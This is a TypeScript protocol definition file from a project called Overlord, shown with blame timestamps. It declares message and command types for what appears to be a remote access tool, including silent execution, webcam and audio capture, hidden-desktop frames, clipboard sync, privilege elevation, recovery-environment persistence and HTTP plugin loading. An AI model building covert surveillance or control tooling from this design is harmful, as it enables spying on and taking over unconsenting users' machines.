Files
overlord/Overlord-Server/src/protocol.ts
T

553 lines
11 KiB
TypeScript
Raw Normal View History

2026-03-05 00:04:26 -06:00
import { encode, decode } from "@msgpack/msgpack";
export type MessageKind =
| "hello"
| "hello_ack"
| "ping"
| "pong"
| "command"
| "command_result"
2026-07-13 09:34:16 -05:00
| "desktop_encoder_capabilities"
| "desktop_stream_stats"
| "client_logs_result"
2026-03-05 00:04:26 -06:00
| "screenshot_result"
| "frame"
| "status"
| "plugin_event"
| "notification"
2026-03-08 22:31:11 -05:00
| "webcam_devices"
2026-03-20 22:38:17 -05:00
| "notification_config"
| "enrollment_challenge"
| "enrollment_status";
2026-03-05 00:04:26 -06:00
export type Hello = {
type: "hello";
id: string;
host: string;
os: string;
arch: string;
hostArch?: string;
2026-03-05 00:04:26 -06:00
version: string;
user: string;
monitors: number;
monitorInfo?: { width: number; height: number }[];
country?: string;
2026-06-04 20:07:31 -05:00
hwid?: string;
inMemory?: boolean;
cpu?: string;
gpu?: string;
ram?: string;
2026-05-30 22:44:55 -05:00
batteryPercent?: number;
batteryCharging?: boolean;
2026-06-04 20:07:31 -05:00
isAdmin?: boolean;
elevation?: string;
permissions?: Record<string, boolean>;
2026-03-20 22:38:17 -05:00
publicKey?: string;
signature?: string;
2026-05-14 19:56:50 -05:00
publicIP?: string;
2026-06-29 00:01:07 -05:00
lastCrashReason?: string;
lastCrashDetail?: string;
2026-03-20 22:38:17 -05:00
};
export type EnrollmentChallenge = {
type: "enrollment_challenge";
nonce: string;
};
export type EnrollmentStatusMsg = {
type: "enrollment_status";
status: "pending" | "approved" | "denied";
2026-03-05 00:04:26 -06:00
};
export type HelloAck = {
type: "hello_ack";
id: string;
commands?: Command[];
notification?: {
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
2026-03-05 00:04:26 -06:00
};
};
export type Ping = { type: "ping"; ts?: number };
export type Pong = { type: "pong"; ts?: number };
export type CommandType =
| "input"
| "remote_start"
| "remote_stop"
2026-03-08 22:31:11 -05:00
| "webcam_start"
| "webcam_stop"
| "webcam_list"
| "webcam_select"
| "webcam_set_fps"
2026-03-05 00:04:26 -06:00
| "disconnect"
| "reconnect"
| "screenshot"
| "ping"
| "console_start"
| "console_input"
| "console_stop"
| "console_resize"
| "file_list"
2026-05-29 15:41:08 -05:00
| "file_request_access"
2026-03-05 00:04:26 -06:00
| "file_download"
| "file_upload"
| "file_delete"
| "file_mkdir"
| "file_zip"
| "file_read"
| "file_write"
| "file_search"
| "file_copy"
| "file_move"
| "file_chmod"
| "file_execute"
| "silent_exec"
2026-03-07 23:27:57 -06:00
| "voice_session_start"
| "voice_session_stop"
| "voice_downlink"
| "voice_capabilities"
| "client_logs_request"
| "desktop_audio_start"
| "desktop_audio_stop"
2026-03-05 00:04:26 -06:00
| "process_list"
| "process_kill"
| "plugin_load"
| "plugin_load_http"
2026-03-13 12:51:48 -05:00
| "plugin_unload"
2026-03-28 21:58:16 -05:00
| "agent_update"
| "clipboard_set"
| "clipboard_sync_start"
2026-03-29 00:46:18 -05:00
| "clipboard_sync_stop"
2026-05-06 20:07:15 -05:00
| "desktop_start"
| "desktop_stop"
| "desktop_select_display"
| "desktop_enable_mouse"
| "desktop_enable_keyboard"
2026-06-06 16:08:28 -05:00
| "desktop_set_fps"
| "desktop_set_bitrate"
2026-06-04 20:41:10 -05:00
| "darwin_request_permissions"
2026-05-13 13:44:33 -05:00
| "webrtc_publish"
| "webrtc_stop"
| "webrtc_p2p_offer"
| "webrtc_p2p_ice"
| "webrtc_p2p_stop"
2026-05-06 20:07:15 -05:00
| "script_exec"
| "uninstall"
| "elevate"
| "file_upload_http"
2026-06-06 23:34:44 -05:00
| "winre_probe"
2026-03-29 00:46:18 -05:00
| "winre_install"
2026-05-17 00:51:17 -05:00
| "winre_uninstall"
| "file_icon"
| "file_thumb"
| "file_dirsize";
2026-03-05 00:04:26 -06:00
export type Command = {
type: "command";
commandType: CommandType;
payload?: unknown;
id?: string;
};
export type CommandResult = {
type: "command_result";
commandId?: string;
ok: boolean;
message?: string;
};
export type ClientLogEntry = {
seq: number;
at: number;
source: string;
blob: string;
};
export type ClientLogsResult = {
type: "client_logs_result";
commandId?: string;
ok: boolean;
entries?: ClientLogEntry[];
dropped?: number;
fromSeq?: number;
toSeq?: number;
enabled: boolean;
error?: string;
};
2026-03-05 00:04:26 -06:00
export type ScreenshotResult = {
type: "screenshot_result";
commandId?: string;
format: "jpeg" | "webp" | "png" | string;
width?: number;
height?: number;
data: Uint8Array;
error?: string;
};
export type FrameHeader = {
monitor: number;
fps: number;
format: "jpeg" | "webp" | "raw" | "h264";
width?: number;
height?: number;
2026-03-05 00:04:26 -06:00
hash?: string;
backstage?: boolean;
2026-03-08 22:31:11 -05:00
webcam?: boolean;
2026-03-05 00:04:26 -06:00
};
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
2026-04-08 14:14:09 -05:00
export type FrameAck = { type: "frame_ack" };
export type DesktopStreamStats = {
type: "desktop_stream_stats";
fps: number;
format: string;
bytes: number;
width: number;
height: number;
captureMs: number;
encodeMs: number;
sendMs: number;
totalMs: number;
transport: "websocket" | "webrtc" | string;
};
2026-03-05 00:04:26 -06:00
export type Status = {
type: "status";
state: "idle" | "streaming" | "error";
detail?: string;
};
2026-03-08 22:31:11 -05:00
export type WebcamDevice = {
index: number;
name: string;
maxFps?: number;
};
export type WebcamDevices = {
type: "webcam_devices";
devices: WebcamDevice[];
selected: number;
};
2026-03-05 00:04:26 -06:00
export type ConsoleOutput = {
type: "console_output";
sessionId: string;
data?: Uint8Array;
exitCode?: number;
error?: string;
};
export type FileEntry = {
name: string;
path: string;
isDir: boolean;
size: number;
modTime: number;
mode?: string;
owner?: string;
group?: string;
2026-05-17 00:51:17 -05:00
attrs?: number;
};
export type FileIconResultItem = {
key: string;
png?: Uint8Array;
error?: string;
};
export type FileIconResult = {
type: "file_icon_result";
commandId?: string;
icons: FileIconResultItem[];
};
export type FileThumbnailResultItem = {
key: string;
jpeg?: Uint8Array;
w?: number;
h?: number;
error?: string;
};
export type FileThumbnailResult = {
type: "file_thumb_result";
commandId?: string;
thumbs: FileThumbnailResultItem[];
};
export type FolderSizeResult = {
type: "file_dirsize_result";
commandId?: string;
path: string;
bytes: number;
files: number;
dirs: number;
done: boolean;
error?: string;
2026-03-05 00:04:26 -06:00
};
export type FileListResult = {
type: "file_list_result";
commandId?: string;
path: string;
entries: FileEntry[];
error?: string;
2026-05-29 15:41:08 -05:00
accessDenied?: boolean;
canRequestAccess?: boolean;
accessHelp?: string;
2026-03-05 00:04:26 -06:00
};
export type FileDownload = {
type: "file_download";
commandId?: string;
path: string;
data: Uint8Array;
offset: number;
total: number;
chunkIndex?: number;
chunksTotal?: number;
error?: string;
};
export type FileUploadResult = {
type: "file_upload_result";
commandId?: string;
transferId?: string;
path: string;
ok: boolean;
offset?: number;
size?: number;
received?: number;
total?: number;
error?: string;
};
export type ProcessInfo = {
pid: number;
ppid: number;
name: string;
2026-05-21 09:51:12 -05:00
exePath?: string;
2026-03-05 00:04:26 -06:00
cpu: number;
memory: number;
username?: string;
type?: string;
self?: boolean;
2026-03-05 00:04:26 -06:00
};
export type ProcessListResult = {
type: "process_list_result";
commandId?: string;
processes: ProcessInfo[];
error?: string;
};
export type FileReadResult = {
type: "file_read_result";
commandId?: string;
path: string;
content: string;
isBinary: boolean;
error?: string;
};
export type FileSearchResult = {
type: "file_search_result";
commandId?: string;
searchId: string;
results: Array<{
path: string;
line?: number;
match?: string;
}>;
complete: boolean;
error?: string;
};
export type ScriptResult = {
type: "script_result";
commandId?: string;
ok: boolean;
output?: string;
error?: string;
};
export type PluginManifest = {
id: string;
name: string;
2026-06-22 10:52:27 -05:00
apiVersion?: number;
2026-06-22 12:54:12 -05:00
runtime?: "native" | "wasm" | "server" | string;
2026-06-28 23:46:56 -05:00
nativeLoader?: "memory" | "os" | string;
nativeEntrypoints?: PluginNativeEntrypoints;
2026-03-05 00:04:26 -06:00
version?: string;
description?: string;
binary?: string;
2026-03-19 16:29:26 -05:00
binaries?: Record<string, string>;
2026-06-22 10:52:27 -05:00
wasm?: string;
needs?: PluginNeeds;
2026-03-05 00:04:26 -06:00
entry?: string;
assets?: {
html?: string;
css?: string;
js?: string;
};
navbar?: {
label?: string;
icon?: string;
};
2026-06-25 11:45:28 -05:00
dashboard?: PluginDashboardIntegration;
2026-06-22 12:54:12 -05:00
build?: PluginBuildIntegration;
2026-05-03 00:29:05 -05:00
hasServer?: boolean;
2026-03-05 00:04:26 -06:00
};
2026-06-28 23:46:56 -05:00
export type PluginNativeEntrypoints = {
onLoad?: string;
onEvent?: string;
onUnload?: string;
setCallback?: string;
getRuntime?: string;
};
2026-06-25 11:45:28 -05:00
export type PluginDashboardIntegration = {
clientBadges?: PluginDashboardBadgeDefinition[];
};
export type PluginDashboardBadgeDefinition = {
id: string;
label?: string;
title?: string;
icon?: string;
imageUrl?: string;
href?: string;
tone?: "info" | "good" | "warn" | "danger" | string;
priority?: number;
};
2026-06-22 12:54:12 -05:00
export type PluginBuildIntegration = {
enabledByDefault?: boolean;
label?: string;
description?: string;
settings?: PluginBuildSetting[];
actions?: PluginBuildAction[];
requires?: PluginBuildRequirement[];
};
export type PluginBuildSetting = {
key: string;
label?: string;
type?: "string" | "number" | "boolean" | "select" | "textarea" | string;
default?: unknown;
placeholder?: string;
description?: string;
required?: boolean;
min?: number;
max?: number;
options?: Array<{ value: string; label?: string } | string>;
};
export type PluginBuildAction = {
id: string;
label: string;
icon?: string;
description?: string;
setBuild?: Record<string, unknown>;
setSettings?: Record<string, unknown>;
requires?: PluginBuildRequirement[];
};
export type PluginBuildRequirement = {
field?: string;
pluginSetting?: string;
equals?: unknown;
notEquals?: unknown;
truthy?: boolean;
falsy?: boolean;
includes?: unknown;
platforms?: string[];
message?: string;
};
2026-06-22 10:52:27 -05:00
export type PluginFileNeed = {
bucket: "home" | "desktop" | "documents" | "downloads" | "temp" | "appData" | "pluginData" | "fullDisk" | string;
access: Array<"read" | "write" | "list" | "delete" | "mkdir" | string>;
reason?: string;
};
export type PluginNeeds = {
files?: PluginFileNeed[];
};
2026-04-14 09:56:20 -05:00
export type PluginSignatureInfo = {
signed: boolean;
trusted: boolean;
valid: boolean;
fingerprint?: string;
algorithm?: string;
};
2026-03-05 00:04:26 -06:00
export type PluginEvent = {
type: "plugin_event";
pluginId: string;
event: string;
payload?: unknown;
error?: string;
};
export type NotificationEvent = {
type: "notification";
category: "active_window";
title: string;
process?: string;
processPath?: string;
pid?: number;
keyword?: string;
ts?: number;
};
export type NotificationConfig = {
type: "notification_config";
keywords: string[];
minIntervalMs?: number;
clipboardEnabled?: boolean;
2026-03-05 00:04:26 -06:00
};
export type WireMessage =
| Hello
| HelloAck
| Ping
| Pong
| Command
| CommandResult
| ClientLogsResult
2026-03-05 00:04:26 -06:00
| ScreenshotResult
| Frame
2026-04-08 14:14:09 -05:00
| FrameAck
| DesktopStreamStats
2026-03-05 00:04:26 -06:00
| Status
| ConsoleOutput
| FileListResult
| FileDownload
| FileUploadResult
| ProcessListResult
| FileReadResult
| FileSearchResult
| ScriptResult
| PluginEvent
| NotificationEvent
2026-03-20 22:38:17 -05:00
| NotificationConfig
| EnrollmentChallenge
| EnrollmentStatusMsg;
2026-03-05 00:04:26 -06:00
export function encodeMessage(msg: WireMessage): Uint8Array {
return encode(msg);
}
export function decodeMessage(
input: Uint8Array | ArrayBuffer | string,
): WireMessage {
if (typeof input === "string") {
return JSON.parse(input) as WireMessage;
}
return decode(input) as WireMessage;
}